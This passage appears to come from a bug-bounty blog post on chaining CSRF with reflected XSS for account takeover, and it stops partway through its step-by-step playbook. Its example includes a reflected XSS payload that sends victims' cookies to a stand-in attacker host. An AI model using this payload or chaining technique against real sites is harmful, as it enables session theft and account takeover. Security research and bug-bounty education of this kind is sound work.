🔓 CSRF to XSS: Chaining Vulnerabilities for Critical Bug Bounties 🚀💸

How Combining “Low-Risk” Flaws Unlocks High-Impact Exploits and Maximum Payouts

🌟 Intro: Why Vulnerability Chains = Bigger Payouts

In bug bounties, finding a single flaw is good — but chaining vulnerabilities turns you into a rockstar hunter. 🎸 Imagine combining a “low-risk” CSRF with a “medium-risk” XSS to create a critical account takeover exploit. That’s how you turn 500into500into5,000! Let’s dissect how to weaponize CSRF and Reflected XSS together — and why platforms like HackerOne and Bugcrowd reward these chains heavily.

🎯 The Basics: CSRF & Reflected XSS Through a Hunter’s Lens

1. CSRF (Cross-Site Request Forgery): The Silent Request Hijacker

• What it is: Forcing users to submit unintended requests (e.g., changing their email/password).
• Why hunters care: Often labeled “low severity,” but it’s a golden gateway for chaining.
• Bug Bounty Example: A site lets you change account settings without CSRF tokens. Report it alone? Maybe $500. Chain it with XSS? Cha-ching! 💰

2. Reflected XSS: The Quick-Strike Script Injector

• What it is: Injecting malicious scripts via URLs/inputs that execute in a victim’s browser.
• Why hunters care: Classic, but still a top earner. Combine it with CSRF? Instant escalation.
• Bug Bounty Example: https://redacted.com/search?term=<script>document.location='https://attacker.com?cookie='+document.cookie</script>

💥 The Hunter’s Playbook: Chaining CSRF → XSS

🕵️♂️ Step 1: Find the Weak Link

Look for endpoints that:

• Lack CSRF protections (no tokens, weak SameSite cookies).
• Reflect user input (e.g., profile bios, error messages, search results).

🔨 Step 2: Craft the Weaponized Request

Scenario: A social media site lets users update their “display name” via a CSRF-vulnerable POST request. The display name is also reflected on their profile page with no sanitization.